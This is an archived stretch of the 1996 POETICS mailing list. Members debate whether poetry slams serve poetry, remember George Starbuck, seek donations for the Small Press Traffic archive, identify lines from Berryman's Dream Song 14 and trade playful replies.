Does anyone know what is happenong (or has happened) to the art collection the WCW home? There are Hartleys, Demuths, Sheelers, etc. There was apparently a dispute between the two WCW sons as what to do w/ them. Wm. Eric Willaims, who lived there, did not want to sell them, claiming they were part of his house. Brother Paul, thought they should be put on the market. Any fan of

WCW should go to Rutherford at least once (easy from NYC,#190 NJT bus) & just walk around

Joel Lewis

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206. Christina Fairbank Chirot
slamming, competition, entertainment, politics
Sat 17 Aug 1996

Re: slamming, competition,entertainment,politics

Float like a butterfly,
Sting like a bee
The Greatest slammer
Is Muhammad Ali

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207. filch
Re: National Poetry Slam - David Benedetti
Sat 17 Aug 1996

David,

Wow, what a treat to see your name.

A few years ago I saw you in front of E.J.'s and told you that I liked a poem of yours that I had seen in some mag somewhere and you were kind enough to give me a copy of your book "defense mechanism".

That night a friend of mine, whom I had been friends with for years, came over to my place on Silver (or was it Lead?) and we sat around and smoked and drank and read aloud your poems. Actually I read them aloud and he listened. He was someone who had never ever expressed any interest in poetry before the whole time I had known him. He was quite taken by your work, most particularly the poem 'REPRODUCTIVE SUCCESS'. After reading your book he expressed an interest for the first time in reading some of my writing. Something he had never ever done before.

So I wanted to express my gratitude once again for your kindness.

As for slams I think it is important to realize that while there is a certain amount of truth to what you say it is not the whole truth. I have on a few occasions been to slams where the winner is none other than the best writer there. The vast majority of the time the winner is the best performer and sometimes the winner is someone who is equally good at both writing and performing but sometimes, rarely, the writer wins out.

Rather than say the "wrong direction to move in" maybe it would be more appropriate to say it is "another direction to move in".

Mayakovsky, while a still great writer, made his name when he started because he was handsome and dashing and one hell of a performer, not to mention a shrewd politician (which in my experience has a whole hell of alot more to do with winning modern day slams than either writing skill or performing ability). And while some of the dadaists did some great things outside of performance value it nevertheless played a vital role in their work as well as in the "Theatre of Cruelty". Also I believe Joy in your department has expressed, in David's book last year, the sentiment that her work with "Poetic Justice" is another form of her poetry, albeit with a groove. Perhaps slams are simply another media. I don't know.

And actually in my experience slams and the spoken word movement has not occured because of a desire towards popularity (certainly that plays a role) so much as a desire to read and be heard in spite of being shut out of the "academy" (refer back to politics).

There's actually a guy in Austin named Whammo who approaches his readings like they were a wrestling match and he even looks like a wrestler and some of his poems are some of the most interesting political word play skewers I have ever heard.

filch

> *I realize this is probably an old issue, but having tried to go to a few "poetry slams", I find it is like watching wrestling on TV, and has very little to do with poetry and a lot to do with the lowest common denominator of audience entertainment/jacking off. Does anyone else feel this competitive/entertainment trend in poetry readings (in an effort toward popularity) is the wrong direction to move in...?*

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208. **maria damon**

Re: National Poetry Slam

Sat 17 Aug 1996

---

benedetti writes:
> I realize this is probably an old issue, but having tried to go to a few
> "poetry slams", I find it is like watching wrestling on TV, and has very
> little to do with poetry and a lot to do with the lowest common
> denominator of audience entertainment/jacking off. Does anyone else
> feel this competitive/entertainment trend in poetry readings (in an
> effort toward popularity) is the wrong direction to move in...?

in connection w/ a piece on slams i'm reading an essay by musicologist simon frith called "the good, the bad, and the indifferent: defending popular culture from the populists." i'm struggling w/ the issue of "evaluation." frith argues something that seems obvious once it's said, but still sounds novel when i read it; that everyone is making aesthetic judgments, but the criteria differ from person to person, class to class, venue to venue. he thinks that students and scholars of pop and mass culture who disavow any need for acknowledgeing the aesthetic are being disingenuous. i haven't finished the article yet (diacritics 1991) but it's easy to read and pretty smart. talking to this crowd, it might be old news, since POETIX seems by + large pretty invested in aesthetic judgment, but for me it's useful. so, slams are aesthetic events that involve judgment (that's the whole format --ranking, judging, etc), but the aesthetic criteria might differ overlappingly with/from other poetry contexts.

someone was telling me today about a kaja silverman book he was reading that discussed a fassbinder movie in which a masochist has just had a sex change operation to please his sadist/lover; his lover is humiliating him in front of the mirror, taunting him/her about his/her new face and body and says, "what do you see when you look in the mirror?" the masochist responds, "I see myself loving you." silverman apparently cites this as an example of the egolessness of the masochist who can only see his/her existence in relation to the other (or something like that); to me, it was a moment characterized by its sheer POETICITY.

i know there's a connection between the two preceding paragraphs but i'm too tired to articulately theorize it. something about context, reception, understanding of what "poetry" is, and a corresponding aesthetic judgment. kinda like seeing that 10yrold girl read that poem to her father at his funeral that i wrote about here a few months ago. xo, md

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209. { brad brace }
fresh theoretical interpretations
Sat 17 Aug 1996

Interactive Technology suddenly begins to require governing bureaucracies to be accountable to more than special-interest lobbies. Other essential cultures will take longer to free themselves from similarily imposed sanctions; keeping the channels of disbelief open will only assist the maturation process. This is even apparent in the academe-art-world where it is no longer possible to retract and posture behind hallowed 'accredited' texts and papers. The usual claims of singular intellectual and historically verifiable dominance in lieu of

anything-else, -- which can only be, after-all, facile emotional, untested, unverifiable,... tripe!

The World is now subsuming this haughty one-track regime; all approaches are now equally valid. The bureaucratic 'art-speak' of the old-world still indignantly bristles at the mention of any challenge. A fresh critical language/practise has only begun to break from the ossified jargon of the hierarchical/insipid academy. Already, the patentedly absurd notion of 'art-movements and schools' is being parodied on IRC -- witness, the Fluxus-Channel, in which participants deliver-up the pseudo-intellectual posturings of yester-year, and thereby inadvertently prompt the Fluxus-Artist-Bot to chime-in with its 'personal' anecdotes of that pseudo-period. This mawkish humor is sure to spawn other similarly 'specialized' channels.

Meanwhile, the remaining art-experts continue to parry, thrust and quibble over verifiable historical details and 'textual evidence' that either supports or dismisses their esteemed positions. But, who knows, some of these players may still be real, and thereby motivated to cling to the vestiges of this morbid, cloying ritual. Perhaps this is the sadistic appeal of these 'period-channels'-- that suddenly, the predatory, selfish, stagnant, internal mechanizations of the art-academy are laid-bare -- their crusty orifices now swollened shut...

Which leads me to mention a current project of mine... (I introduce it now in part because of an inherent elegance which exceeds a cohesion of facts;) which is not to imply that art is yet possible-- real practise must still 'span the current cultural spasm.' It's still not clear whether art-presented through the Net escapes this stultifying condition elsewhere-- that is to say, that art-now can be seen, but then-instantly vanishes within the larger culture without reverberation or consequence. Anyway-- I've finally 'realized' some ideas that I initiated ten-years-ago; I've also found a probable-use for digital-art-image filters. The work consists of a set of collected imagery through various quirky industrial machineries which I've 'stylistically-generalized' with Art-Effects Filters. Once on-screen they look especially appealing and uneasily nostalgic from across the room. I think this imagery would be well-suited to body-tattoos (blue-black as in the illustrations). Let me know if you have one done! <<http://www.teleport.com/~bbrace/bbrace.html or /tattoo.html>>

—

p.s.. for those who care: I've recently moved to San Francisco in order to work a stint as the 'Prepress Specialist' for 'Wired Magazine.' They seem to be demanding more of a political voice of late... which is interesting. The disparity in The City itself is depressing but this takes us right back to the beginning of this missive...

--

{ brad brace } <<<< [redacted] >>>> ~finger for pgp

The 12hr-ISBN-JPEG Project ftp.netcom.com/pub/bb/bbrace continuous hypermodern ftp.teleport.com/users/bbrace photo-art ftp.pacifier.com/pub/users/bbrace -- Usenet-news: alt.binaries.pictures.12hr/ a.b.p.fine-art.misc Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

...

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210. David Benedetti
National Poetry Slam
Sun 18 Aug 1996

I realize this is probably an old issue, but having tried to go to a few "poetry slams", I find it is like watching wrestling on TV, and has very little to do with poetry and a lot to do with the lowest common denominator of audience entertainment/jacking off. Does anyone else feel this competitive/entertainment trend in poetry readings (in an effort toward popularity) is the wrong direction to move in...?

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211. Anselm Hollo
George Starbuck
Sun 18 Aug 1996

---

17 Aug 96
To: POETICS list
From: Anselm Hollo

Emerging from my lair here, to salute the memory of George Starbuck, first met in Buffalo thirty years ago, during my first summer there in the company of G.S., Ann London, Robert Creeley, John Logan, John Wieners, Robert Hogg, Basil Bunting, George Bowering, Jack Clarke, Al Glover, Duncan McNaughton...a summer that definitely changed my life, as did George's subsequent invitation to come and teach at the Iowa Writers' Workshop, whose director he then was. Cet ouvroir was a very different place during his tenure than what it had been before, and, I believe, what it has been since. Not only did he invite Kathleen Fraser and her then husband Jack Marshall, he also invited Ted Berrigan, Steve Katz, Seymour Krim, David Ray--all, at that time, regarded as pretty 'cutting edge' makaris, somewhat threatening, even, to the post-Paul Engle neo-Frostian/pseudo-WCWilliamsian 'Iowa' establishment.

George was a wit, an ironic master of traditional Anglo form, and a gentleman of a wide and utterly non-provincial understanding of the art. I believe that he, Ted Berrigan, and your humble servant deserve credit in Poetry Heaven for our work in that place and time (Ted was politicked out of there after only one year, by the above mentioned establishmentarians; I outlasted George by a couple of years, thanks to painter Hans Breder of the art department who fixed me up with an 'interdisciplinary' gig for a couple more years): the roll call of 'our' (and, yes, Kathleen's & Jack's & Seymour's & Steve's) students looks pretty impressive today: Alice Notley, Robert Grenier, Ray DiPalma, Merrill Gilfillan, Michael Lally, Darrell Gray, Barrett Watten, Bob Perelman, Arthur Vogelsang. (None of them, of course, quite as famous in the Old Iowa Lineage as, say, Norman Dubie or Michael Ryan.)

So--Thank You, Captain George.

Anselm Hollo

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212. Kevin Killian

SPT Archive

Sun 18 Aug 1996

This is Dodie Bellamy.

As many of you already know, Small Press Traffic Literary Arts Center in San Francisco has ceased being a bookstore and has been reborn as a literary resource center. In our office at New College we are creating a non-lending library of small press books, available to everyone. There is a lounge area next door to our office where people can lounge and read books.

Small Press Traffic's interns have been busily unpacking and arranging our archive, and we have room for plenty more books. A few local poets are donating duplicates from their personal libraries to the archive, and some presses are sending review copies to be placed in the archive. We will have some kind of opening celebration late fall/early winter.

Anyway, this is a call for donations to the Small Press Traffic Archive. Small Press publishers/writers, please send us one or two couple copies of your publications for our archives. Archive lisitings will eventually be posted at the SPT page at the Electronic Poetry Center. We will also, beginning with the next issue of our newsletter, list recent acquisitions to the archive.

The next issue of the Small Press Traffic newsletter will be out in a couple of weeks. This issue features reviews of books published by Hard Press, O-Books, and Kelsey St. In future issues our review section will be opened up to

everybody. If you have a book you would like considered for review, please send it to me.

Small Press Traffic
at New College
766 Valencia St.
San Francisco, CA 94110
415/[redacted]

The newsletter will be published at the EPC. But anyone not living in the Bay Area who would like the next three issues mailed to them, please send $10 to the above address for a subscription. The newsletter is available in the Bay Area only to members of Small Press Traffic ($35 minimum/full, $25/student).

Thanks for all the support so many of you have given Small Press Traffic.

Dodie

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213. William M. Northcutt
identify the poem--please.
Sun 18 Aug 1996

I can't get these lines out of my head, something like:

My mother said, to admit that your bored means you have no natural resourses; I admit
I have no natural resourses.

I can't remember where I read them. Help?

William Northcutt

Walter Benjamin: "Only a redeemed mankind receives the fullness of its past."

William Northcutt
Anglistik I
Universitaet Bayreuth
95440 Bayreuth
email: [redacted]
Tel: 49 921 980612
Fax: 49 921 553641

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214. Susan Schultz
Re: Tinfish Net\work
Sun 18 Aug 1996

Ola, a new chapbook from Joe Balaz, has just been published by Tinfish Net/work. Balaz's poems treat contemporary issues of language, culture, class, as well as the Hawaiian sovereignty movement in Hawai'i. "Ola" means "life" in Hawaiian. Balaz is a frequent contributor to _Tinfish_ and the editor of _Ho'omanoa: An Anthology of Contemporary Hawaiian Literature_, which is unfortunately out of print.

Chapbooks are $4, or $3 with a three issue subscription to the journal ($13).

Until August 21st, you may order copies from me at the above email address. After that date, while I'll check that address from time to time, the safest way to get me will be at [redacted].

Susan M. Schultz
Dept. of English
1733 Donaghho Road
University of Hawai'i-Manoa
Honolulu, HI 96822

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215. Andrew D Epstein
Re: identify the poem--please.
Sun 18 Aug 1996

On Sun, 18 Aug 1996, William M. Northcutt wrote:

> *I can't get these lines out of my head, something like:*
>
> *My mother said, to admit that your bored means you have no natural resourses; I admit*
> *I have no natural resourses.*
>
> *I can't remember where I read them. Help?*
>
> *William Northcutt*
> *----------*
> *Walter Benjamin: "Only a redeemed mankind receives the fullness of its past."*
> *----------*
>
> *William Northcutt*

> *Anglistik I*
> *Universitaet Bayreuth*
> *95440 Bayreuth*
> *email:* [redacted]
> *Tel: 49 921 980612*
> *Fax: 49 921 553641*

The lines are from John Berryman's Dream Song 14:

"my mother told me as a boy
(repeatingly) 'Ever to confess you're bored
means you have no

Inner Resources.' I conclude now I have no
inner resources, because I am heavy bored."

Andrew Epstein

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216. Kevin Killian
SPT Archive, part 2
Sun 18 Aug 1996

This is Dodie again. For the SPT archive we'd also welcome donations of critical books on small press type writers (meaning all of poetry). Thanks.

Went to the new SF Public library this afternoon. What a monster.

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217. maria damon
Re: National Poetry Slam
Sun 18 Aug 1996

---

in response to the longish pro-slam post below from jzitt, when a discussion of open mike readings (and by extension slams) came up about a year ago on the list, there was much less acceeptance of "entertainment" forms of poetry than there is this time around. i like this shift, esp when narrated as below, from someone who has given slams a chance and sees their value and also, significantly, points out that they change over time; like any poetry, they're not static. interesting discussion, y'all; thanks! md

In message <[redacted]> writes:
> On 17 Aug 96 at 19:17, David Benedetti wrote:
>
> > I realize this is probably an old issue, but having tried to go to a few
> > "poetry slams", I find it is like watching wrestling on TV, and has very

> > little to do with poetry and a lot to do with the lowest common
> > denominator of audience entertainment/jacking off. Does anyone else
> > feel this competitive/entertainment trend in poetry readings (in an
> > effort toward popularity) is the wrong direction to move in...?
>
> I'm growing to enjoy the slams more and more as time goes on. I
> started out opposed to them, but have sort of come around. Last
> night, my ensemble performed as the feature at the Dallas slam, and I
> was one of the judges.
>
> The poetry has a wider range than I might expect -- there's seeming
> to be less in-your-face assault of late and more personal material.
> As necessitated by the rules, the best of the performances are very
> focused, some toward audience assault, and some much quieter
> material. In fact, the older-style assault poetry is getting lower
> scores of late, and everyone seems to be getting tired of the endless
> array of Maggie Estep clones. This is leading to a wider range.
>
> For a while, I hosted a quite popular poetry event that was pretty much the
> anthithesis of the slams, and got much of its attendance from people
> who, having started at the slams, were interested in moving into
> other areas. (That it fell apart was due not to the material, but to
> personality conflicts among the hosts.)
>
> I think its very good that some poetry is moving toward audience
> entertainment. Fortunately, it's not the only direction that it's
> leading, and it's opening doors to other possibilities. Our
> ensemble's work is perhaps closest to the work of the Four Horsemen
> than to anything else we've run across, and probably would not win a
> slam, but much of our audience has come from the people who were
> first turned on to verbal performance by attending slams.
>
> There's nothing at all wrong with being popular or entertaining. And,
> at least around here, it's doing more to help encourage other
> poetries than it is hindering them.
> ---------1---------1---------1---------1---------1---------1----------
> |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \|||
> ||/ Question Authority, The == SILENCE: The John Cage Mailing List \||
> |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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218. Joe Amato
Re: National Poetry Slam
Sun 18 Aug 1996

hey maria, hi!... happy to complicate things!... nothing wrong with entertainment, hell no, but---

after sitting through most of the republican convention, and esp. elizabeth dole's generally acclaimed oprah-"performance," i guess what i'd like to ask is how, from a broadly cultural perspective, one might go about aligning questions of public literacy with the recent success of oral performance venues like slams (for that matter, i could ask a similar question having to do with print or electronic poetry publication, or with the production of literature generally---but the answers would no doubt be somewhat different)...

that is, i'm asking (and mebbe i'm just being my contentious self here) how we may gauge art-as-entertainment or art-as-performance not only in terms of aesthetics, albeit this is valuable too, but in terms of its cultural quotient---whether spoken word or workshop or what have you---and wrt the macro-mainstreams of u.s. public life... which latter i understand, anyway, as having gone much further Right politically while, for example, performance venues would seem to have increased in popularity (which is certainly not to suggest a causal relation...)...

i fully accept and appreciate the value of resistance in specific communities, specific poetry publics... on the other hand, i guess i feel as though this resistance has itself been progressively (or regressively) displaced in much of our public domain... which has (only apparently?) defused the political quotient of the literary, regardless how performative... so it may be a matter of asking how something so vital in one context can co-exist with a public (televised) 'arena' that mercilessly utilizes the performative to its own ends...

anyway, this is an all-too-hasty post, but i wonder if there isn't some benefit to speculating less about poetry-as-state-of-the-art and more about poetry-as-state-of-the-union, esp. in an election year?...

best,

joe

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219. Ian Wilson
Re: National Poetry Slam
Sun 18 Aug 1996

In a message dated 96-08-17 21:23:27 EDT, David Benedetti writes:

<< I realize this is probably an old issue, but having tried to go to a few "poetry slams", I find it is like watching wrestling on TV, and has very little to do with poetry and a lot to do with the lowest common denominator of audience entertainment/jacking off. Does anyone else feel this competitive/entertainment trend in poetry readings (in an effort toward popularity) is the wrong direction to move in...? >>

Amen.

Ian Wilson
Loyola Marymount University
[redacted]
http://users.aol.com/ibar88/private/ian1.htm

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220. **maria damon**
Re: National Poetry Slam
Sun 18 Aug 1996

---

hiya joe. i do think that there is room for skepticism about the relationship between the rise of the right and valuation of public poetries and other representations of "diversity." i think this is not the fault of the diversifiers (though one could make a case for their complicity, but why bother) but an instance of what walter benjamin speaks of as a proto-fascistic state in which freedom of expression is allowed minus freedom of social and economic opportunies, equal access to justice and resources, etc.--basically, "aestheticizing politics" instead of the converse. with regard to the spectacularization of oratory that mobilizes folks, we have the examples of both hitler and martin luther king jr. who had very diff agendas. and again, i don't think it's the oratory itself that does the political work. md

In message <[redacted]> UB Poetics discussion
group writes:
> hey maria, hi!... happy to complicate things!... nothing wrong with
> entertainment, hell no, but---
>
> after sitting through most of the republican convention, and esp. elizabeth
> dole's generally acclaimed oprah-"performance," i guess what i'd like to
> ask is how, from a broadly cultural perspective, one might go about
> aligning questions of public literacy with the recent success of oral
> performance venues like slams (for that matter, i could ask a similar
> question having to do with print or electronic poetry publication, or with
> the production of literature generally---but the answers would no doubt be
> somewhat different)...

>
> that is, i'm asking (and mebbe i'm just being my contentious self here) how
> we may gauge art-as-entertainment or art-as-performance not only in terms
> of aesthetics, albeit this is valuable too, but in terms of its cultural
> quotient---whether spoken word or workshop or what have you---and wrt the
> macro-mainstreams of u.s. public life... which latter i understand, anyway,
> as having gone much further Right politically while, for example,
> performance venues would seem to have increased in popularity (which is
> certainly not to suggest a causal relation...)...
>
> i fully accept and appreciate the value of resistance in specific
> communities, specific poetry publics... on the other hand, i guess i feel
> as though this resistance has itself been progressively (or regressively)
> displaced in much of our public domain... which has (only apparently?)
> defused the political quotient of the literary, regardless how
> performative... so it may be a matter of asking how something so vital in
> one context can co-exist with a public (televised) 'arena' that mercilessly
> utilizes the performative to its own ends...
>
> anyway, this is an all-too-hasty post, but i wonder if there isn't some
> benefit to speculating less about poetry-as-state-of-the-art and more about
> poetry-as- state-of-the-union, esp. in an election year?...
>
> best,
>
> joe

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221. **maria damon**
Re: National Poetry Slam
Sun 18 Aug 1996

---

ps to last response to joe: just want to clarify that there's room for skepticism yes, but not cuz the slammers etc are dupes or pawns of the right; simply that one could question their political effectiveness. but one could question just about anyone's political effectiveness. xo,md

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222. Eliza McGrand- CVA Guest

slammin' and jammin'

Sun 18 Aug 1996

---

it is hard; i started out wanting to like slams. went to a few determined to enjoy (in one of "you must stop writing in a cave" phases) and expected -- dangerous i know -- to find the latest poetic currents.

blechhhhhhh!!!!!

i will not bore eveyone by relating entire blow-by-blow encounters, but let me say that slams bring to my mind the leather motorcycle-jacketed, snotty, clumping (boots and dragged, slogging stride), large, drunken man who brought a couple of tables full of loud friends. when he stood up to read an abominably rhymed, cliched, 'borrowed' without attribution to the point of plagarism, uh, 'offering' which, as he bragged and as was painfully apparent, was written the night before, literally, on a cocktail napkin in a bar while he was drunk, his friends loudly applauded and whistled. they were silent _during_ the performance. this was more of a courtesy than they offered the rest of the readers. i read a sonnet afterwards and he gave me a dirty look, refused to applaud (though that was much like his response, sans dirty looks, to the rest of the readers). at the end of the evening, he lumbered over to me, tried in a non-endearingly clumsy way to pick me up, then threatened a male, black friend who had accompanied me. my friend and i whiled away a couple of beers later trying to parse whether the threat originated because he was black and i was white, because i read a sonnet that i hadn't had to 'borrow' to write, or because even though the lumberer and his crowd sulked, i still got a reasonable amount of applause...

certainly this was the extreme end of things. but, how to describe this, ALL my slams were full of wierd extremes (there was the fine writer, a woman, white, who read a complex, beautiful poem in a soft voice and got almost no applause in the face of what was probably the most original, strong work of the evening... or the man, in costume, who read badly rhymed poems to animals whilst acting the various animals out (i am NOT making this up -- he paused for 2 minute pantomime sessions. this is responsible for at least six of my gray hairs). now, this was about 8 years ago, and things may (we can only hope) have changed since.... and i WAS at in a phase where everything seemed to end up in a sort of derida-ian carnival.

but, appropos "speed" and slams and performance, i've found the best reading poems are long lists of images done in a slow voice to warm people up, then fairly conversational works. and the more dense the work, the more slowly i need to read it to keep the audience from getting that glazed, suffering look in their eyes. i know i have the same needs as an audience... on the other hand,

i'm not near as fond of conversational poems on the page as i am of more dense work. e

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223. **Schuchat**
Re: identify the poem--please.
Sun 18 Aug 1996

lines are from John Berryman, somewhere in the Dream Songs I believe.

On Sun, 18 Aug 1996, William M. Northcutt wrote:

> *I can't get these lines out of my head, something like:*
>
> *My mother said, to admit that your bored means you have no natural resourses; I admit*
> *I have no natural resourses.*
>
> *I can't remember where I read them. Help?*
>
> *William Northcutt*
> *----------*
> *Walter Benjamin: "Only a redeemed mankind receives the fullness of its past."*
> *----------*
>
> *William Northcutt*
> *Anglistik I*
> *Universitaet Bayreuth*
> *95440 Bayreuth*
> *email:* [redacted]
> *Tel: 49 921 980612*
> *Fax: 49 921 553641*

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224. **maria damon**
Re: slammin' and jammin'
Sun 18 Aug 1996

eliza, sounds like u had a horrible slam experience. my sister, who writes very formal light verse, read at a slam; she read her parody of the charge of the light (lite?) brigade, which is about making chocolate chip cookies; i feared the worst, in terms of her reception, but she says she scored pretty high (tho' the poem was longer than 3 minutes) and got nice applause, this was in boston/cambridge (kresge aud i think). this was just a few months ago, so maybe things have changed, or maybe, at an auditorium there's less potential than at a

bar for things to get weird...? or maybe she didn't tell me about the drunken louts that insulted her...? md

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225. Michael Boughn
the wheelbarrow
Sun 18 Aug 1996

For the third time in as many years, I had a student this summer respond to _Spring and All_ with an off the wall anlysis of the wheelbarrow poem that invoked the Cold War, white armies, red armies, (red wheelbarrow, white chickens--get it?) etc etc. All these students had been taught this analysis in high school. Anybody else out there ever hear this? Or have any idea where it comes from? I suspect an issue of _The Explicator_ must be responsible and I thought perhaps somebody might have encountered it.

Mike
[redacted]

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226. Louis Cabri
hole 6
Sun 18 Aug 1996

hole 6 is available & features poetics/reviews:

The Device - Lisa Robertson
Loose Change - Fred Wah
Mob - Abigail Child / Susan Holbrook
Dwell - Jeff Derksen / Clint Burnham
The Boy Poems - Rod Smith / Mike Magoolaghan
Mop Mop Georgette - Denise Riley; In the House of the Shaman - Maggie O'Sullivan / Nathaniel Dorward
"hole 1-4." from Linear A - Johan de Wit
Cover art - Germaine Koh

slim & trim. $5. (or $9/2 issues)

New addresses for eds.:
Rob Manery, L03-2556 E. Hastings, Vancouver, BC, V5K 1Z3, Canada.
Louis Cabri, c/o 8127 Cedar Rd., Montgomery County, Philadelphia, PA, 19027, USA.
New emails forthcoming.
Best, Louis

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227. Tony Green
Re: POETICS Digest - 13 Aug 1996 to 14 Aug 1996
Sun 18 Aug 1996

Gale, go on being eccentric, please, if you will. What is a centric reader?

Tony Green,
e-mail: [redacted]

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228. Bob Holman
National Poetry Slam
Mon 19 Aug 1996

Yo Filch et al--

FYI, Mouth Almighty Records is releasing a WAMMO (that's the way he spells it) album in Oct... called "The Fat-Headed Stranger" it mixes blues, grunge, rock and uh spoken word. Even a lil ol Laurie Anderson satire. Backchannel me a snail and I'll ship you off a copy....

Wammo himself finished second in the individuals in last year's Nationals -- Austin looks very tough this year, w/ the WamMan as (self-annointed) Captain.

Maria, I read some of the Frith piece in the Voice where he has (had?) a column. The analogy many Slamsters use is of the editor who divides the poetry mss into Yes No Maybe Never OK Possible-plus vs. the Judges at Slams....

as for e's experiences ("but, how to describe this, ALL my slams were full of wierd extremes) I say amen. This is one reason I go to Slams. To hear new unfettered is another. To be able to say to the poet who has talentbut got a low score that you liked the poem is also part of it. The best poet always loses is the only rule in Slam.

Slams, seems to me, function best as a way in to poetry. You hear some poems you like, some you don't, you agree with judges, or you don't, it seems anyone can do it, maybe you'll try, etc. One of the greatest things about Slam is the work of the poets who've used the form and graduated, like Paul Beatty, Willie Perdomo, Dael Orlandersmith, among others....

Bob H

↑ Index

229. **George Bowering**
Re: POETICS Digest - 10 Aug 1...
Mon 19 Aug 1996

> *To Charles Bernstein---*
>
> *Wondering how you are this late summer eve. Or summer's eve. Since I never even look at the Digest except when the when turns into the then (so dumb, forget it), am glad to see your CB. HOw does one say hello without talking to*
> *the whole team? Hi team Ever, Ann!*
>
> *I was wondering that too, Charles. I want to tell you how much you mean to me, and especially how much I savor that weekend in the motel in Wyoming, N.Y.*
>
> *Not that I've forgotten our last blissful night at the Bide-A-Wee in Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh Charles, how awful to have to say these things to you in front of the hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction manual.*

Charles, how could you!? You told me she was just an intelligent person you had befriended for her quick mind! I am sending your jewelry back.

George Bowering. "Sighing is extra."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

--Gertrude Stein

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230. **George Bowering**
Re: George Starbuck
Mon 19 Aug 1996

Gad, about 1957 in Oliver, B.C., I was picking up drugstore poetry anthologies, and didnt know any names later than WCWilliams, and there was George Starbuck, so I was reading him before I read any of you people, and I am glad that I did. Odd, eh? If he was really 65 at his death, he was pretty young in 1957!

George Bowering. "Sighing is extra."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

--Gertrude Stein

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231. George Bowering
Re: identify the poem--please.
Mon 19 Aug 1996

> *I can't get these lines out of my head, something like:*
>
> *My mother said, to admit that your bored means*

[?]

George Bowering.

"Sighing is extra."

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

--Gertrude Stein

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232. Susan Schultz
Re: new addresses
Mon 19 Aug 1996

This is just to say that my address from September through early December will be 107 14th Street, Upper, Buffalo, NY 14213, and my primary email address, as I said in my latest _Tinfish_ missive, will be [redacted].

I hope to be meeting a lot of list folks in coming months, whether in New Hampshire or elsewhere.

all best,
Susan (Schultz)

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233. Rachel Loden

Re: POETICS Digest - 10 Aug 1...

Mon 19 Aug 1996

George Bowering wrote (the bit beginning "Charles, how could you!?"):
>
> >> >To Charles Bernstein---
> >> >
> >> >Wondering how you are this late summer eve. Or summer's eve. Since I never
> >> >even look at the Digest except when the when turns into the then (so dumb,
> >> >forget it), am glad to see your CB. HOw does one say hello without
> >>talking to
> >> >the whole team? Hi team Ever, Ann!
> >>
> >> I was wondering that too, Charles. I want to tell you how much you mean to
> >> me, and especially how much I savor that weekend in the motel in Wyoming,
> >> N.Y.
> >
> >Not that I've forgotten our last blissful night at the Bide-A-Wee in
> >Peekskill, when stars fell into the Hudson and we were as pomo gods. Oh
> >Charles, how awful to have to say these things to you in front of the
> >hoi polloi. Hi hoi polloi! Ever your girl. P.S. Please send instruction
> >manual.
>
> Charles, how could you!? You told me she was just an intelligent person you
> had befriended for her quick mind! I am sending your jewelry back.
>

Some of us don't need trinkets to express the inexpressible, my dear --what do you call yourself--Georgette? Some of us, on a summer's eve, have the freedom of our own thoughts and need not surrender to idle jealousies. Charles may do what he wishes with his heart; I know I'll always have Peekskill, and my memories of the honeymoon suite! P.S. Keep your baubles--you may need to hock them for a few maple leaves.

Rachel Loden

↑ Index

234. Joseph Zitt
Re: National Poetry Slam
Mon 19 Aug 1996

On 19 Aug 96 at 0:37, Bob Holman wrote:

> *FYI, Mouth Almighty Records is releasing a WAMMO (that's the way he spells it) album in Oct... called "The Fat-Headed Stranger" it mixes blues, grunge, rock and uh spoken word. Even a lil ol Laurie Anderson satire. Backchannel me a snail and I'll ship you off a copy....*

No kidding! I have his previous CD (with his band W.O.R.M.) and it's dynamite. Gotta hear the new one...

> *Wammo himself finished second in the individuals in last year's Nationals -- Austin looks very tough this year, w/ the WamMan as (self-annointed) Captain.*

Yup -- at the Slam at the Generation X-Po festival here a coupla weeks ago, the members of the Austin team won everything. I think at this point, Wammo could do "There's Too Much Light in this Bar" in his sleep, backwards, in Latvian, and still win.

> *as for e's experiences ("but, how to describe this, ALL my slams were full of wierd extremes) I say amen. This is one reason I go to Slams. To hear new unfettered is another. To be able to say to the poet who has talentbut got a low score that you liked the poem is also part of it. The best poet always loses is the only rule in Slam.*

Yeah. There's an article on judging Slams in the latest Omnivore (put out by Su Broskowitz somewhere in Massachusetts) that shows, pretty accurately, the way that some judges do it -- and it ain't pretty.

There's a hilarious article in the latest CyberSangha about a (fictitious) Zen competition. The winner bellows at everyone: "I am the most serene!" and gets high scores in levitation and enlightenment.
---------1---------1---------1---------1---------1---------1---------- |||/ Joseph Zitt ==== [redacted] ===== Dallas, Texas \||| ||/ Question Authority, The == SILENCE: The John Cage Mailing List \|| |/ http://www.realtime.net/~jzitt == <*> <*> == The Data Wranglers! \|

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235. maria damon
Re: the wheelbarrow
Mon 19 Aug 1996

mike b rites:
> For the third time in as many years, I had a student this summer
> respond to _Spring and All_ with an off the wall anlysis of the

> wheelbarrow poem that invoked the Cold War, white armies, red armies,
> (red wheelbarrow, white chickens--get it?) etc etc. All these students
> had been taught this analysis in high school. Anybody else out there
> ever hear this? Or have any idea where it comes from? I suspect an
> issue of _The Explicator_ must be responsible and I thought perhaps
> somebody might have encountered it.
>
> Mike
> [redacted]

no direct comment on that, not having heard it myself (would be grateful to, at least it shows an interest, i'm used to stolid silence in the classroom); but another take on the red wheelbarrow from a friend who told me a student in one of his classes insisted that "so much depends on" etc was about a farmer's livelihood, and how much he depended on the wheelbarrow as part of his job. my friend thought this was totally off the wall, but hey, this is the great heartland, where farm machinery really can make or break you...i also had a student once who insisted that the elevator images in Crane's "The Bridge" were about grain elevators, which literally surround our minneapolitan landscape rather than NYcity-type means of transportation up and down skyscrapers. just goes to show, context really does shape a reading...md

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236. Joe Amato
Re: National Poetry Slam
Mon 19 Aug 1996

---

maria, as in the thread earlier this year, i don't want to come out against the artistic-poetic possibilities of slams---the unexpected, slams as a more democratizing venue, the sorts of 'unfettered' experiences bob holman is after...

